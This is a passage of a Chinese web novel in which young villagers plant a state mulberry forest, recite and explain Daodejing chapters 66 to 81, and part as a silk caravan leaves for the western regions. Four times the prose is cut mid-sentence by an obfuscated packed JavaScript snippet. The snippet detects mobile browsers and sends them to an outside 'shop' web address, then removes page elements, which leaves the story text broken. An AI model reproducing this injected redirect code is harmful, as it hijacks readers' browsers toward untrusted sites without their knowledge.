冯秀莲说道：“要说高兴的事，就是你姐夫被选上了负责制作蚕架的督办，他最近比较忙，在筹划一个蚕架编制工厂，到处招学徒传授工艺，以便赶上国家给的任务进度。编制厂好像就选在了三爸以前养羊的那个林场的旁边，工期紧的时候，旁边当兵的也要负责干一些粗活，也是由他支配的，看来他也是个不小的官了”。 他们正聊着，金有妙和金灵，金朵走了过来。说冯玄真安排四个人去抬水，把其中一片树的浇水任务，划给了他们。这还是冯妙元第一次抬水干体力活。冯妙元说道：“以前练武的时候，感觉出力好不舒服，教我武术的段师傅老打我，我可怕他了，今天才有力气干这重活，真是太谢谢他了”。金有妙说道：“我说怎么感觉你比我们三都有力气呢”。金灵说道：“小叔，你给我们讲道德经吧，这样时间过的也快一些。人就感觉不到累了”。金有妙说道：“好，我们从六十六章开始”。 金有妙说道“道德经第六十六章：江海之所以能为百谷王者，以其善下之，故能为百谷王。是以圣人欲上民，必以言下之；欲先民，必以身后之。是以圣人处上而民不重，处前而民不害。是以天下乐推而不厌。以其不争，故天下莫能与之争。 这里的意思是说，江海所以能够成为百川河流所汇往的地方，是因为它居于百川之下，所以才能成为千百河谷的统帅。 因此“圣人”要领导人民，必须心口一致地对人民表示谦下；要成为人民的表率，必须把自己的利益放在他们的后面。 所以，有道的人虽然地位居于人民之上，而人民并不感到负担沉重；居于人民之前，而人民并不感到受害。天下的人民都乐意推戴而不厌弃。因为他不与人相争，所以天下就没有人能和他相争了。” 金有妙继续说道：“道德经第六十七章：天下皆谓我道大，似不肖。夫唯大，故似不肖。若肖，久矣其细也夫！我有三宝，持而保之：一曰慈，二曰俭，三曰不敢为天下先。慈故能勇；俭故能广；不敢为天下先，故能成器长。今舍慈且勇，舍俭且广，舍后且先，死矣！夫慈，以战则胜，以守则固，天将救之，以慈卫之。 这里的意思是说，天下人都说，“道”太广大了，大到不像任何具体的东西。也正因为它的大，所以才不像任何具体的东西。如果它像一种具体的事物的话，那么它就经久趋于细小而不是道了。 我有三种宝贝，是应当永 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156658|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 远持有珍重的：第一是慈爱，第二是俭朴，第三就是不敢居于天下人的前面。有了慈爱，所以能勇武；有了简朴，所以能宽广；不敢居于天下人之先，所以能成为万物的首长。 现在丢弃了慈爱而追求勇武；丢弃了俭啬而追求宽广；舍弃退让而追求争先，结果是走向死亡。 慈爱，用来征战就能够胜利，用来守卫就会坚固。天将救助谁，就会用慈爱来保护它。” 金有妙继续说道：“道德经六十八章：善为士者，不武；善战者，不怒；善胜敌者，不与；善用人者，为之下。是谓不争之德，是谓用人之力，是谓配天古之极。 这里的意思是说，善于带兵打仗的将帅，不崇尚勇武；善于打仗作战的人，不会轻易被激怒；善于胜敌的人，不与敌人正面冲突；善于用人的人，对人总是表示谦下。 这叫作不与人争的“德”，这叫作运用别人的能力，这叫作符合自然的道理，是古代德的准则。” 金有妙继续说道：“道德经第六十九章：用兵有言：“吾不敢为主，而为客；不敢进寸，而退尺。”是谓行无行，攘无臂；扔无敌；执无兵。祸莫大于轻敌，轻敌几丧吾宝。故抗兵相若，哀者胜矣。 这里的意思是说，用兵的人曾经这样说：“我不敢主动进犯，而采取守势；不敢前进一步，而宁可后退一尺。”。 这就是说，虽然有阵势，却像没有阵势可摆一样；虽然要奋臂，却像没有臂膀可举一样；虽然面临敌人，却像没有敌人可打一样；虽然有兵器，却像没有兵器可持握一样。 祸患再没有比轻敌更大的了，轻敌几乎丧失了我的“三宝”。所以，当两军实力相当的时候，怀有慈悲怜悯之心的一方能获得胜利。” 金有妙继续说道：“道德经第七十章：吾言甚易知，甚易行。天下莫能知，莫能行。言有宗，事有君。夫唯无知，是以不我知。知我者希，则我者贵。是以圣人被褐而怀玉。 这里的意思是说，我的话很容易懂，很容易实行。可是天下却没有人懂得我的话，没有人照着去实行。 说话是有宗旨的，做事是有根据的。可正是由于人们不理解这个道理，所以不了解我说的道。 懂得我的人很少，能取法于我的人就更难得了。所以有道的人总是外表穿着粗布衣服，而怀里却揣着美玉。” 冯妙元他们这么聊着天，不知不觉的就浇完了分给他们的任务。 37. 妙赞四年建桑林，王家公子吃官司 村里的桑树种完以后，王上道守平也采纳了道国元的第二种献策，打算在天水县和陕县的鹿泉河两岸，划一条二百余公里的区域，用来种桑树。由丞相周海涛负责。道国元也帮忙规划，所以平时也住工地。 话说天水县就在鹿泉县的下游。鹿泉河流过鹿泉县，就进入了天水县。过了天水县，就进入了陕县，然后从陕县汇入夏河。夏河东去，就流入了蚕盛国土。 就这样。妙赞国浩浩荡荡长达四年的桑林建设，育蚕养殖的示范工程开始了。妙赞国每户必需出一个人，包括所有学堂休课四年，进驻建设工地，种树，浇水，看护，育蚕养殖等。鹿泉学员和金山学员的学生并一处，由方怀德带队，平时休息起居也由方怀德安排。 平时金朵，金灵，金梅，龚灵娟，方祖蕊，冯妙元，吴宽杏，道国薇她们八个住一个帐篷。平时具体生活要求，工作安排都有冯妙如和道国薇安排负责，冯妙如不住这里，也是一月来一次，看大家需要什么，安排那些工作区域。 道国昌，吴宽海，冯炳章，道国元，李承坤，吴宽余，金有妙他们住一个帐篷。平时生活要求，工作安排由道国元安排负责。需要什么东西，列一个单子，然后也是由冯妙如采购带回来。 就这样，每个帐篷都有负责人。鹿泉河两岸浩浩荡荡排列着三百多个帐篷，近三千人，治安由道海棠的副官刘永福负责，绵延数百公里。很多故事就在这夜以继日的劳动中发生了。 话说刘永福对这个少爷道国昌的管理，还是争一直眼闭一直眼的，所以道国昌比一般人还是要自由些，他甚至可以去女帐串门，刘永福手下人也是装作没看见。 话说龚家姊妹三个，龚映梅是老大，嫁给了王业成，王天磊就是她的老四。冯妙元母亲龚映兰是老二，老三叫龚映海，龚灵娟是他的老大。冯妙元平时和这个表姐走的不是很近，但也不是很生疏。道国昌隔三差五的就来他们帐篷溜达，倒是和龚灵娟聊的很投机。 刚入夏的一天，天气很热，临近中午下工就早些，饭还没有熟。道国昌又来到冯妙元帐篷里溜达。冯妙元说道：“这二百多公里地，我看就你自由，我们都没你自由，你又来做甚呢？”。还没等道国昌说话，龚灵娟就说道：“表妹这你就多心了，你尽管做你的，你理他干嘛呢？”。冯妙元说道：“你这是默许他过来串门，我看你俩才是知己呢，你不知道规定不许篷间串门呀，你不怕他被抓去坐监啊”。龚灵娟说道：“外面这么多兵，他能进来也是他的本事，他都不怕，我们怕啥子呢”。 冯妙元说道：“太子怎么不跟你溜达呢？”。道国昌说道：“人家是有身份的人，要注意影响，怎么滴，你不会是想见他吧？”。冯妙元说道：“就你嘴碎，我还不能问了啊”。其实，在一旁的方祖蕊更想知道这个答案的。就说道：“你应该把他一起带过来溜达”。道国昌说道：“我说呢，那天马场你们一起抓了好多鱼，莫不是你想见他了吧？”。冯妙元一听，这家伙越说嘴越碎了，就赶紧把他赶了出去。 回到自己帐篷里，道国元问道：“怎么没有多会子就回来了？”。道国昌说道：“冯妙元那个母老虎，凶的很，赶了回来，改天我看我要带着有妙兄弟去才行呢”。道国元听到这里，心里就有底了，冯妙元心里的人就是金有妙。他心里就在想：“我哪里比他差了呢？他看起来也就粗衣粗布的，除了空闲看书写书，也没什么特别的嘛，自己还参与国家政策呢，论才华哪里不如他呢？想到这里，他对金有妙产生了几分敬佩”。 道果昌继续说道：“国元，我把她方家表妹介绍给你吧，那姑娘温柔大方，聪明灵秀，看着马虎随意，其实心思细腻会来事，你玉佩还在她手里呢，我也改天帮你要回来”。道国元说道：“都给人家了，不要要了，你要是要了，显得我做人太不诚信了”。然后道国昌又给金有妙说道：“改天我带你一起去串门，好不？”。金有妙说道：“她不让你去，你不去就是了，又不是非要去，”。道国昌说道：“我要去看她表姐龚灵娟，我看她才是我的知己，又不是去看她，你不去，我看她又得把我赶出来，你就好心陪我去一趟嘛”。金有妙说道：“那改天吧，马上就要放饭了”。 中午吃完饭，冯妙元习惯性的又看了三章道德经。第七十一，七十二，七十三章。具体内容是：“道德经第七十一章：知不知，尚矣；不知知，病也。圣人不病，以其病病，夫惟病病，是以不病。 这里的意思是说，知道自己还有所不知道和不足，这是最好的。不知道却自以为知道，这就是很糟糕的。有道的人没有缺点，因为他把缺点当作缺点，正因为他把缺点当作缺点对待，所以他就没有了缺点。” “道德经第七十二章：民不畏威，则大威至。无狎其所居，无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156659|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厌其所生。夫唯不厌，是以不厌。是以圣人自知不自见，自爱不自贵。故去彼取此。 当人民不畏惧统治者的威压时，那么可怕的祸乱就要到来了。不要逼迫人民使人民不得安居，不要压榨人民使人民无以生计。只有不压迫人民，人民才不厌恶统治者。 因此，有道的人不但有自知之明，而且也不自我表现；有自爱之心也不自显高贵。所以要舍弃后者而保持前者。” “道德经第七十三章：勇于敢则杀，勇于不敢则活。此两者，或利或害。天之所恶，孰知其故？是以圣人犹难之。天之道，不争而善胜，不言而善应，不召而自来，繟（chàn）然而善谋。天网恢恢，疏而不失。 勇于坚强就会遭到杀害，勇于柔弱就能保全性命。这两种行为一个得利，一个受害。天道也厌恶其勇武好胜的行为，谁知道是什么缘故呢？有道的人也难以解说明白。 自然的规律是，不斗争而善于取胜，不说话而善于应承，不召唤而自动到来，宽缓从容而善于安排筹划。自然的范围宽广无边，虽然稀疏但并不会有一点漏失。” 话说王业成的老四王天磊，最是一个娇生惯养的，龚映梅啥事都不让他做。就是这林场劳动的事，她也是几次求冯炳仁，述职时报她儿子有头疼病。冯炳仁说道：“姨娘，国家大事，太子以及我妹一个女儿身，都在劳作，为何你家天磊就怕吃苦？”。龚映梅说道：“你也知道他从小啥也没干过，吃不了这苦”。冯炳仁看在亲姨娘的份上，给他儿子也就报了个有头疼病。这也让他担了很大风险，在药堂大夫那里开了个证明。 学堂休学，这王天磊整天没事，在鹿泉县城街上东荡西逛。有一天，他看上一个花瓷瓶，打听价格很贵，就想用很低的价买下来，店主刘氏不干，他就打伤了刘氏，打的还有点重。刘氏家人报了官，缉拿了王天磊在县衙。王业成使了银子到县衙求情，县大人说道：“王河监，你也知道，这里的每一件事情，都逃不过冯监政的眼睛，这事你得求他才行呢”。 王业成找到冯炳仁就说了这事，冯炳仁说道：“姨父，我在监政不假，可人民也在监督我，我们县的资讯举报厅的官员又是轮流制，一月一换，你找谁都没用啊，如果我给你在县衙通了情，那刘氏在资讯厅举报了我，这摊子又有谁来收呢？”。王业成听完，只能做罢，只怪自己当初教导不严。 38. 金有辉蚕盛谋职，道国昌结识何玉 王天磊犯了事以后，王业成四处找门路，也是没有办法的。妙赞国的制度就是这样，一环套一环，就好像每个部门的头上，都悬着一把剑，都不敢肆意妄为。 这年入了秋，王天磊就被判了入狱三年，陪刘氏三百两银。王天磊入狱以后，王业成也是怪妻氏龚映梅太宠溺他了，没让他去林场干活，要不然怎么会有这样的事呢。惯子如杀子，古来圣贤训，莫不应验。 话说金有辉搬到这蚕盛国也有一年半了，生活虽然每年要给地主交租，倒是还过的去。这里蚕业发达，每年养蚕的收入也比在金山村强上一些。 就在这年的秋天，茯苓镇的镇长要招一批抽丝的工人，金有辉就寻了去。话说这茯苓镇和金山村不一样，这里是儒家治国，国下设郡，郡下设县，县下设乡镇，学堂只管教人怎么做官，学而优则仕，不管其他。所以和金山村不一样，这里的学堂对国家和社会，也没有监督权和引导权。 学子们也要通过考学才能做官，不需要大家认为他有才德而被推荐。考学也是考做官的那一套，既然不需要人民的推荐，所以考上的人也不会为人民负责，尤其盘剥农民。 道守平发现这一弊端，他在妙赞国改进并消除了这一弊端。所以，妙赞国的官员是给农民负责，农民的代表就是学堂，然后由学堂推荐有能的人管理国家。这和蚕盛国恰恰相反。 妙赞国是官穷民富，藏富于民。蚕盛国是官富民穷，藏富于官。只是因为他们国家蚕铁业发达，国家整体实力比妙赞国强，才感觉农民比妙赞国富裕。实际上蚕铁业的大部分财富还是在官僚手里面。所以，在妙赞国，这也就好理解，为什么金春海在县衙工作，家里还那么穷的根本原因。 金有辉寻得这么一个职业，农闲了就在里面干活，也学习了不少抽丝水染的技术活，这为以后妙赞国的蚕丝业在这方面的技术也做出了贡献，这是后话，暂不细表。 话说这天水县鹿泉河畔，有个村子叫归谷村，这里盛产谷物而得名。这里有个学堂叫归谷学堂，归谷学堂是一个叫刘海真的人出了大头的钱，村民出了小头的钱而建设的。刘海真也把学堂报备成了国家道办学堂，他任道办专员。和金山学堂不一样的是，归谷学堂没有国家补贴，这次种桑林，归谷学堂也成了国家少有的补贴学堂。 这次桑林的建设上，归谷学堂和天水学院合一处管理，他们共有十几顶帐篷就在冯妙元他们帐篷的不远处，离冯妙元他们最近的也是女生帐篷，她们种树的灌水的时候，互相总有照面。这一来二去的，不多久，她们也就都混熟悉了。 有个女孩子叫何玉，个头高挑，身材窈窕，生的特别美丽，她和冯妙元最能玩的来。当她知道这里的管理是瑞王道海棠，道国昌他爹时，就想让道国昌帮忙给士兵通融一下，让她出去隔半月一次的回家一趟。一来二往的道国昌和她也是混的熟悉了。只是下活以后，不能帐见串门，互相来往的少些。 转眼到了冬天，土层不好挖，种树也就停工了。他们每天的活，就是给树苗浇水缠麻，做滋养保护的工作，一天都不是很忙。冯妙元回到帐篷继续看她的书。今天她读了道德经的第七十四，七十五，七十六章： “道德经第七十四章：民不畏死，奈何以死惧之？若使民常畏死，而为奇者，吾得执而杀之，孰敢？常有司杀者杀。夫代司杀者杀，是谓代大匠斫（zhuò）。夫代大匠斫者，希有不伤其手矣。 这里的意思是说，人民不怕死，为什么还要用死去恐吓他们呢？倘若人民真的惧怕死亡，对于那些为非作歹的人，我们就可以把他们捉来杀掉，那么还有谁敢为非作歹呢？ 经常有专管杀人的人去执行杀人的任务，代替行戮者去杀人，就如同代替高明的木匠去砍木头，那代替高明的木匠砍木头的人，很少有不砍伤自已手指头的。” “道德经第七十五章：民之饥，以其上食税之多，是以饥。民之难治，以其上之有为，是以难治。民之轻死，以其上求生之厚，是以轻死。夫唯无以生为者，是贤于贵生。 这里的意思是说，人民之所以会遭受饥饿，是因为统治者榨取吞食赋税过多，因此人民才遭受饥饿。人民之所以难以统治，是因为统治者政令繁苛、强作妄为，所以人民才难于统治。 人民之所以会轻生冒死去触犯法律，是因为统治者为了奉养自己，把民脂民膏都搜刮净了，所以人民才轻生冒死。只有那些不去追求生活享受的人，才比奉养奢厚的人更胜一筹。” “道德经第七十六章：人之生也柔弱，其死也坚强。草木之生也柔脆，其死也枯犒。故坚强者死之徒，柔弱者生之徒。是以兵强则灭，木强则折。强大处下，柔弱处上。 这里的意思是说，当人活着的时候，他的身体十分柔软灵活，可是他死后身体就会变得枯槁僵硬。万物草木生长的时候形质是柔软脆弱的，死了之后就变得干枯残败了。 所以坚强的东西属于死亡的一类，柔弱的东西属于生长的一类。因此用兵逞强就会招致 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156660|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 失败，树木强大就会遭致砍伐摧折。因此凡是坚强的往往处于劣势，相反，柔弱的往往能处于优势。” 冯妙元正读的用功呢，道国昌和金有妙走了进来。道国昌问道：“你姐姐给你们分添了被子和火盆的柴火了没有？”。冯妙元说道：“已经到了，你们的呢？”。道国昌说道：“被子到了，柴火让我们去附近山上去拾，何玉这一带熟悉，说让她带我们去，你们去吗？也帮你们再捡拾点”。冯妙元他们帐篷七个人就跟着他们帐篷的人去拾柴火了，道国微在帐篷里看火就没有去。 何玉先带着他们在自己家里做了客，然后就去附近山上捡柴火了。冯妙元说道：“道国元怎么没跟你们一起来呢？”。道国昌说道：“他在帐篷看火，也是怕有人来问事会错过，就没来”。他们聊着，就来到了山里，各自就去捡柴火了。冯妙元说道：“有妙哥哥我们一起吧，你帮我拿点，我拿不动”。 然后金有妙和冯妙元就一起独立去捡了。冯妙元问道：“有妙哥哥，你有没有听道国元说过，我们为什么要花这么大的阵仗，建这么一个桑树林呢？”。金有妙说道：“听说这是道国元的施政建议，养蚕业短期要有效果就得集中起来，规模化操作”。冯妙元一听，说道：“这个太子还是有点本事的，怪不得他能当太子”。接着她拿出了一条围巾，说道：“这是我托我姐给你采购的，冬天冷，你围上它吧”。说着把围巾递给了金有妙。金有妙接过围巾，把她紧紧的揽入了怀中。 道国昌和何玉在一起拾捡，何玉说道：“国昌哥，你怎么也会来这里干苦力活呢？”。道国昌说道：“在咋们国家没有特权的，都是靠能力吃饭的，父亲怕我落伍，就让我来了”。她又继续说道：“你们学堂的冯妙元好漂亮啊，我有她漂亮就好了”。道国昌说道：“姑娘你也很漂亮啊，我看比她好看呢，她那母老虎一个，人近不得的”。何玉一听，“噗嗤”一声笑了，说道：“她对大家都很温柔呀”。道国昌说道：“她就对女生温柔，对男孩子可凶了，差点把太子摔了个四肢趴地”。何玉一听，说道：“她这么厉害啊？”。道国昌说道：“我们从小一起练武，她是我们当中学的最好的，几个人是近不了她身的，你别看她长的柔柔弱弱的”。何玉说道：“那她刚才还说拿不动柴火呢？”。道国昌一听，“嘿嘿”的笑了，说道：“她点子多，花样多，谁猜的透她呢”。 渐渐的天气暗了下来，他们拾了许多也就回去了。龚灵娟因为道国昌没有带她一起拾捡，心里有点失落。 39. 学堂复课换新颜，莺儿出嫁隔壁村 转眼种树已过了三年，在大家的精心照顾下，树苗已经可以独立成长了，桑叶也可以采摘了。桑林场撤去了帐篷和兵士，只留下平时养蚕的蚕工照看，十里一岗，岗所建有食堂，客厅，卧室，抽丝房等，岗院很大很阔气。归谷村附近的桑林岗院，由金灵负责，由何玉，金朵督办，平时在归谷村招些人干活，浇水，抽丝等。这年金朵十九岁，金灵和何玉十八岁了。 话说这年的夏天，冯妙元十六岁了，她姐姐冯妙如二十一岁了。金梅也满十八岁了。金梅留在了吴家，和吴宽海成了婚。冯妙如赐了国姓，改成了国妙如，与蚕盛国太子盛有亮定了亲。 学堂预计四年的休课，提前一年也就复课了。学堂和冯妙元玩的好的，现在只有金有妙和方祖蕊了。龚灵娟还在学堂，只是不怎么和冯妙元一起玩耍。道国昌随父亲去练兵了，吴宽海也随父去采办盐铁的事情了。道国薇嫁入了丞相府。李家父子长期驻守在边关。 金凤家，因为唐贵当兵也有了俸禄，过的也不再那么困难了。冯秀莲自从妙元开导以后，家庭也过的和暖了许多。金春海家，杨氏身体彻底也好了，莺儿说了隔壁村一户人家，今年年底打算成婚。金珠，金君宝等在金山学堂也迎来了玩闹戏耍的生活……。 这天，金有妙和冯妙元，方祖蕊在女生教室一起聊天。方祖蕊说道：“这三年的栽树，真是磨炼人的心性，我感觉我长大了许多”。冯妙元说道：“长大就好啊，其实我感觉小的时候才好呢”。方祖蕊说道：“怕你有妙哥哥离开你啊？”。金有妙说道：“人都长大了，就各奔东西了，那有一点是由自己的呢”。冯妙元听到这话也惆怅了起来。方祖蕊赶紧补说道：“不要胡思乱想了，有妙哥哥讲道德经讲吧”金有妙讲道：“道德经第七十七章：天之道，其犹张弓与？高者抑之，下者举之；有余者损之，不足者补之。天之道，损有余而补不足。人之道，则不然，损不足以奉有余。孰能有余以奉天下？唯有道者。是以圣人为而不恃，功成而不处，其不欲见贤。 自然的规律，不是很像张弓射箭吗？弦位高了就把它压低一些，低了就把它举高一些，弓弦拉得过满了就把它放松一些，拉得不足了就要把它拉满一些。 所以，自然的规律是减少有余的补给不足的。可是社会的法则却不是这样，要剥夺不足的用来奉养有余的人。 那么，谁能够把有余的拿来补给天下的不足呢？只有有道的人合道才可以做到。因此，有道的人有所作为而不子持功高，有所成就而不居功自傲，他不愿表现出自己的贤能。 “道德经第七十八章：天下莫柔弱于水，而攻坚强者莫之能胜，以其无以易之。弱之胜强，柔之胜刚，天下莫不知，莫能行。是以圣人云：受国之垢，是谓社稷主；受国不祥，是为天下王。正言若反。 这里的意思是说，天下最柔软的莫过于水了，但攻坚克强却没有什么东西能胜过水的，因而水是没有事物可以代替得了的。弱小的能战胜强大的，柔软的可以战胜刚强的，天下没有人不知道这个道理，但就是没有人能这样做。 所以有道的人说：能够承担国家的屈辱，才称得上是国家的君主；能为国家承受祸患的人，才配做天下的君王。正面的话好像是在反说一样。” “道德经第七十九章：和大怨，必有余怨；报怨以德，安可以为善？是以圣人执左契，而不责于人。有德司契，无德司彻。天道无亲，常与善人。 这里的意思是说，很大的仇怨虽经调解，总还是留有余怨，怎么说得上是最好的解决办法呢？因此，有道的人保存借据的存根，但并不以此强迫别人偿还债务。有德的人就像持有借据的人那样宽容不索取，没有德的人就像掌管税收的人那样苛刻刁诈。自然规律对任何人都没有偏爱，不分亲疏，而常常伴随有德行的善人。” “道德经第八十章：小国寡民。使有什伯之器而不用；使民重死而不远徙。虽有舟舆，无所乘之；虽有甲兵，无所陈之。使民复结绳而用之。甘其食，美其服，安其居，乐其俗。邻国相望，鸡犬之声相闻，民至老死，不相往来。 这里的意思是说，使国家变小，使人民稀少。即使有各种各样的器具也并不使用，使人民重视死亡而不向远方迁徒。虽然有船只车辆，却没有必要去乘坐；虽然有武器装备，却没有机会去布阵打仗；使人民再回到远古结绳记事的自然状态中去。使人民有香甜美味的饮食，漂亮华丽的衣服，安适稳定的住所，欢乐的风俗。国与国之间互相望得见，鸡犬的叫声都可以听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156661|150355||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得见，但人民从生到死，彼此也不互相往来。” “道德经第八十一章：信言不美，美言不信。善者不辩，辩者不善。知者不博，博者不知。圣人不积，既以为人己愈有，既以与人己愈多。天之道，利而不害；人之道，为而不争。 这里的意思是说：真实的话不漂亮，漂亮的话不真实。行为善良的人不善于用言语自辩，爱用言语自辩的人不一定善良。有真知灼见的人知识不一定广博，知识广博的人没有真知灼见。有道的人什么也不保留，他愈帮助别人，自己反而更加富有；他越是把自己的一切给予他人，自己就越加丰富。自然的规律是让万事万物都得到好处而不伤害它们，有道的人的法则是施惠于众人而不与人争夺。” 转眼就到了年底，莺儿出嫁的时间到了。金有妙和冯妙元骑着马来到了金山村，金朵和金灵太远没有回来。冯妙元看到，这次回来比上次好多了，大家都住在刚盖的新房里，有妙母亲也精神多了，不再拄拐棍了。按照风俗，出嫁姑娘是要哭的，莺儿没有哭。骑着驴就被接走了。金有妙和冯妙元也送了亲。他们回来就骑着马返回了县城。 在回县城的路上，还是妙元坐马前面，金有妙坐马后面。冯妙元问道：“莺儿姐看起来很坚强，一定受了很多苦吧，”。金有妙说道：“嗯，家里活都是她干的”。冯妙元又问道：“哥哥有啥打算呢”。金有妙说道：“我也不知道，我今年18岁了，可以推荐工作了，不知道学堂会不会看重我什么能力呢？”。冯妙元说道：“我让我舅爷给你推荐一个事情，你不用担心哒”。金有妙说道：“这个我其实不怎么担心，我放不下的是你，每天会想你是不是廋了，是不是不开心，是不是又在想我，我担心我不在你身边的日子”。冯妙元说道：“哥哥抱抱我吧”。金有妙抱着冯妙元走了很大一段路以后，说道：“哥哥不用担心，我们是一体的，与道永恒同在”。然后她继续说道：“我这一生，非哥哥不嫁”。冯妙元说道：“只要妹妹照顾好自己，是我最宽心的事，我亦非妹妹不娶”。 哎~！谁又能想到，这是他们十年别离前的最后一次骑马。世上百药治百病，唯有相思不能医。要不是一篇篇金有妙讲的关于“道”的经文，真不敢想象她是怎么熬下来了…… 40. 妙赞新丝走西域，妙如盟亲嫁蚕盛 转眼就过完了年，又到了春天。这年的春天和往年不一样的就是，妙赞国每家都会发放蚕种。蚕种由金灵他们的桑林岗培育。桑林也会大面积开始孵化蚕蛋。吴宽良这个时候会给桑林又补填一些蚕架，用于扩大规模。 妙赞国去年出的第一批丝制品也完成了，除了本国用一些外，还有一些要首次拿到西域打通销路。因为东边蚕盛国和南边云梦国都是蚕业很发达的国家，那里不需要进口丝制品。 去西域打通销路的任务交给了冯炳德，这是个九死一生的差事，因为路线要通过北漠游人区域。龚映兰听到这个消息后，哭的稀里哗啦，问冯炳仁说道：“国家那么多人，你为什么在问政中上述你哥和你弟去西域的优势？要不然我舅方喜云也不会推荐他俩去的”。 冯炳仁说道：“阿母，这不是我的主意，是我哥非要这么做。他说总要有人去，我们退缩，别人更会退缩。这件事如果没有超常的信念和决心，是不会成功的，说了别人也是白白送死。我们是道学世家，自然懂得后其身而身先，外其身而身存的道理的，我们有道的信念，就容易成功”。 龚映兰听了，说道：“那让你哥去，把章儿留下”。冯炳仁说道：“这已经是国家敲定的事，我如何再去述职时又说不适合呢？再说了，阿母，你要知道，在我们国家，没有能力的话，在某个位置上吃不了闲饭的。蚕丝贸易是我们国家以后最富有的行当，这个好的机会摆在眼前，我们就这么舍手让人吗？”。 龚映兰说道：“那让金有妙也去吧，他俩从小一起长大，路上也有个说话的，遇到事也有个商量的。金有妙这孩子遇事冷静，最是懂道的内敛，做事又如微风悄无声息”。 冯炳仁说道：“我去问问这孩子愿意吗？如果他愿意，我这月述职时给王上提议，然后让学堂提交他的资料推荐上去”。 冯炳仁中午在学院食堂找到金有妙时，他刚好和冯妙元在一起，一个桌子吃饭呢。冯炳仁说了前面的事，没等金有妙开口，冯妙元说道：“二哥，我不愿意，你知道他咨政有见地，为什么不能当你副手？我姐快要嫁人了，位置也刚空了下来，这不刚合适吗？”。 冯炳仁说道：“阿母也是想，他和你三哥一起长大，路上有个说话的。再者，有妙兄弟是道的伟大践行者，他在身边的话，你三哥犯错的机会就少点。回来了，有功劳了，我让他担任我的副手大家也会信服的。他也会成为唯一一个能资政丝绸贸易的人，那还不稳稳的坐在这个位置上了嘛”。 冯妙元欲要说什么，金有妙抢着说道：“元妹，我也想去历练一下，世间本没有路，有人走了就有路了，总要有人在荆棘丛中踩出这第一步。道经说，后其身而身先，外其身而身存。吾无身就无惧，事情就能成功，元妹你尽管放心就是啦”。 冯妙元只好做罢，不再反对了。说道：“那你父亲那里呢？”。金有妙说道：“我父亲最愿意我历练的，他会答应的”。 到了晚上，冯妙元和金有妙来到白云观后面山上。冯妙元抱着金有妙哭了好久，说道“哥哥，你几时才能回来呢？”。金有妙说道：“丝绸卖出去了我们就应该回来了”。金有妙说完，冯妙元拿出一快玉，正面刻着“道恒无欲”的字，背面刻着“妙元有情”的字。她把这块玉交给了金有妙，说道：“哥哥，不要忘了我”。然后在金有妙怀里，又是一顿大哭。金有妙搂着他，看向了远处的月亮……。 很快就到了商队出发的时间了，商队一共有三百人，三百匹马，十只骆驼背着丝绸，就要准备出发了。送行的人有国王道守平，太子道国元，冯家一家人，道国昌一家人，金春海和县大人几十人，也是一共三百来人。 就在金有妙要转身的那一刻，冯妙元没有顾住女孩子的矜持。当着一众人的面，一头扎进金有妙的怀里，哭的不能自持，说道：“哥哥你千万要回来啊”。母亲拉也拉不开。冯炳章说道：“我们又不是不回来了”。冯妙元能感觉道：“有妙哥哥这次一走，要很长很长的时间，北地关外，游人横行，万里黄沙，谁说的准了”。金有妙也是不知道怎么安慰她：“只是紧紧的抱着她，很久很久”。过了许久，他们终于踏上了北进的路，招手的身影渐渐小去，消失在冯妙元的视线中。方祖蕊紧紧的攥着她的手，关于“道”经文，变成金有妙的声音，在她耳边响起……， 金有妙他们走后，方祖蕊陪着冯妙元开导了好一阵子，形影不离，转眼就到了这年的中秋节。冯妙如和盛有亮成的国亲，就定在这一天。这是整个妙赞国的大事，冯妙如赐国姓后就是国王的女儿，叫道妙如。所以，道妙如在王殿出嫁，不在冯玄真家出嫁。 